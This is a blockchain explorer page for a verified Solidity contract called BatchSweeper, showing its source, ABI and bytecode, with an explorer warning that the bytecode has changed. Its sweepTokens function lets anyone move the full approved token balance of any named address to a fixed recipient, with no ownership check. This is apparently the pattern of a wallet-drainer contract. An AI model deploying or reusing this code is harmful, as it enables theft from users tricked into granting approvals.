false
true
0

Contract Address Details

0x0152fC96148ae284Ea91FC72EF8B8ca38b497ac8

Contract Name
BatchSweeper
Creator
0xc6f845–d59402 at 0xcca52a–575255
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
56 Transactions
Transfers
0 Transfers
Gas Used
0
Last Balance Update
26063114
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
This contract has been verified via Sourcify. View contract in Sourcify repository
Contract name:
BatchSweeper




Optimization enabled
false
Compiler version
v0.8.20+commit.a1b79de6




EVM Version
shanghai




Verified at
2026-02-21T08:34:25.822713Z

Constructor Arguments

000000000000000000000000c6f845ff8d34dacef27b2fb316ddd255d5d59402

Arg [0] (address) : 0xc6f845ff8d34dacef27b2fb316ddd255d5d59402

              

Sweeper.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract BatchSweeper {
    address public immutable RECIPIENT;

    constructor(address _recipient) {
        RECIPIENT = _recipient;
    }

    function sweepTokens(address from, address[] calldata tokens) external payable {
        for (uint256 i = 0; i < tokens.length; ) {
            IERC20 token = IERC20(tokens[i]);
            uint256 bal = token.balanceOf(from);
            if (bal > 0) {
                token.transferFrom(from, RECIPIENT, bal);
            }
            unchecked { ++i; }
        }
        if (msg.value > 0) {
            (bool success, ) = RECIPIENT.call{value: msg.value}("");
            require(success, "PLS transfer failed");
        }
    }
}
        

Compiler Settings

{"remappings":[],"optimizer":{"runs":200,"enabled":false},"metadata":{"bytecodeHash":"ipfs"},"libraries":{},"evmVersion":"shanghai","compilationTarget":{"Sweeper.sol":"BatchSweeper"}}
              

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"address","name":"_recipient","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"RECIPIENT","inputs":[]},{"type":"function","stateMutability":"payable","outputs":[],"name":"sweepTokens","inputs":[{"type":"address","name":"from","internalType":"address"},{"type":"address[]","name":"tokens","internalType":"address[]"}]}]
              

Contract Creation Code

0x60a060405234801561000f575f80fd5b5060405161077f38038061077f833981810160405281019061003191906100c9565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1681525050506100f4565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100988261006f565b9050919050565b6100a88161008e565b81146100b2575f80fd5b50565b5f815190506100c38161009f565b92915050565b5f602082840312156100de576100dd61006b565b5b5f6100eb848285016100b5565b91505092915050565b6080516106666101195f395f8181607401528181610170015261020901526106665ff3fe608060405260043610610028575f3560e01c80630d9019e11461002c5780638e824bda14610056575b5f80fd5b348015610037575f80fd5b50610040610072565b60405161004d9190610314565b60405180910390f35b610070600480360381019061006b91906103c0565b610096565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b5f5b828290508110156101fd575f8383838181106100b7576100b661041d565b5b90506020020160208101906100cc919061044a565b90505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b81526004016101089190610314565b602060405180830381865afa158015610123573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061014791906104a8565b90505f8111156101f0578173ffffffffffffffffffffffffffffffffffffffff166323b872dd877f0000000000000000000000000000000000000000000000000000000000000000846040518463ffffffff1660e01b81526004016101ae939291906104e2565b6020604051808303815f875af11580156101ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ee919061054c565b505b8260010192505050610098565b505f3411156102d0575f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163460405161024b906105a4565b5f6040518083038185875af1925050503d805f8114610285576040519150601f19603f3d011682016040523d82523d5f602084013e61028a565b606091505b50509050806102ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102c590610612565b60405180910390fd5b505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6102fe826102d5565b9050919050565b61030e816102f4565b82525050565b5f6020820190506103275f830184610305565b92915050565b5f80fd5b5f80fd5b61033e816102f4565b8114610348575f80fd5b50565b5f8135905061035981610335565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126103805761037f61035f565b5b8235905067ffffffffffffffff81111561039d5761039c610363565b5b6020830191508360208202830111156103b9576103b8610367565b5b9250929050565b5f805f604084860312156103d7576103d661032d565b5b5f6103e48682870161034b565b935050602084013567ffffffffffffffff81111561040557610404610331565b5b6104118682870161036b565b92509250509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6020828403121561045f5761045e61032d565b5b5f61046c8482850161034b565b91505092915050565b5f819050919050565b61048781610475565b8114610491575f80fd5b50565b5f815190506104a28161047e565b92915050565b5f602082840312156104bd576104bc61032d565b5b5f6104ca84828501610494565b91505092915050565b6104dc81610475565b82525050565b5f6060820190506104f55f830186610305565b6105026020830185610305565b61050f60408301846104d3565b949350505050565b5f8115159050919050565b61052b81610517565b8114610535575f80fd5b50565b5f8151905061054681610522565b92915050565b5f602082840312156105615761056061032d565b5b5f61056e84828501610538565b91505092915050565b5f81905092915050565b50565b5f61058f5f83610577565b915061059a82610581565b5f82019050919050565b5f6105ae82610584565b9150819050919050565b5f82825260208201905092915050565b7f504c53207472616e73666572206661696c6564000000000000000000000000005f82015250565b5f6105fc6013836105b8565b9150610607826105c8565b602082019050919050565b5f6020820190508181035f830152610629816105f0565b905091905056fea2646970667358221220977c3ede2dedb0000b5f4b078858d3f5a7f8b150ef2b06950c044af21611909264736f6c63430008140033000000000000000000000000c6f845ff8d34dacef27b2fb316ddd255d5d59402

Deployed ByteCode

0x608060405260043610610028575f3560e01c80630d9019e11461002c5780638e824bda14610056575b5f80fd5b348015610037575f80fd5b50610040610072565b60405161004d9190610314565b60405180910390f35b610070600480360381019061006b91906103c0565b610096565b005b7f000000000000000000000000c6f845ff8d34dacef27b2fb316ddd255d5d5940281565b5f5b828290508110156101fd575f8383838181106100b7576100b661041d565b5b90506020020160208101906100cc919061044a565b90505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b81526004016101089190610314565b602060405180830381865afa158015610123573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061014791906104a8565b90505f8111156101f0578173ffffffffffffffffffffffffffffffffffffffff166323b872dd877f000000000000000000000000c6f845ff8d34dacef27b2fb316ddd255d5d59402846040518463ffffffff1660e01b81526004016101ae939291906104e2565b6020604051808303815f875af11580156101ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ee919061054c565b505b8260010192505050610098565b505f3411156102d0575f7f000000000000000000000000c6f845ff8d34dacef27b2fb316ddd255d5d5940273ffffffffffffffffffffffffffffffffffffffff163460405161024b906105a4565b5f6040518083038185875af1925050503d805f8114610285576040519150601f19603f3d011682016040523d82523d5f602084013e61028a565b606091505b50509050806102ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102c590610612565b60405180910390fd5b505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6102fe826102d5565b9050919050565b61030e816102f4565b82525050565b5f6020820190506103275f830184610305565b92915050565b5f80fd5b5f80fd5b61033e816102f4565b8114610348575f80fd5b50565b5f8135905061035981610335565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126103805761037f61035f565b5b8235905067ffffffffffffffff81111561039d5761039c610363565b5b6020830191508360208202830111156103b9576103b8610367565b5b9250929050565b5f805f604084860312156103d7576103d661032d565b5b5f6103e48682870161034b565b935050602084013567ffffffffffffffff81111561040557610404610331565b5b6104118682870161036b565b92509250509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6020828403121561045f5761045e61032d565b5b5f61046c8482850161034b565b91505092915050565b5f819050919050565b61048781610475565b8114610491575f80fd5b50565b5f815190506104a28161047e565b92915050565b5f602082840312156104bd576104bc61032d565b5b5f6104ca84828501610494565b91505092915050565b6104dc81610475565b82525050565b5f6060820190506104f55f830186610305565b6105026020830185610305565b61050f60408301846104d3565b949350505050565b5f8115159050919050565b61052b81610517565b8114610535575f80fd5b50565b5f8151905061054681610522565b92915050565b5f602082840312156105615761056061032d565b5b5f61056e84828501610538565b91505092915050565b5f81905092915050565b50565b5f61058f5f83610577565b915061059a82610581565b5f82019050919050565b5f6105ae82610584565b9150819050919050565b5f82825260208201905092915050565b7f504c53207472616e73666572206661696c6564000000000000000000000000005f82015250565b5f6105fc6013836105b8565b9150610607826105c8565b602082019050919050565b5f6020820190508181035f830152610629816105f0565b905091905056fea2646970667358221220977c3ede2dedb0000b5f4b078858d3f5a7f8b150ef2b06950c044af21611909264736f6c63430008140033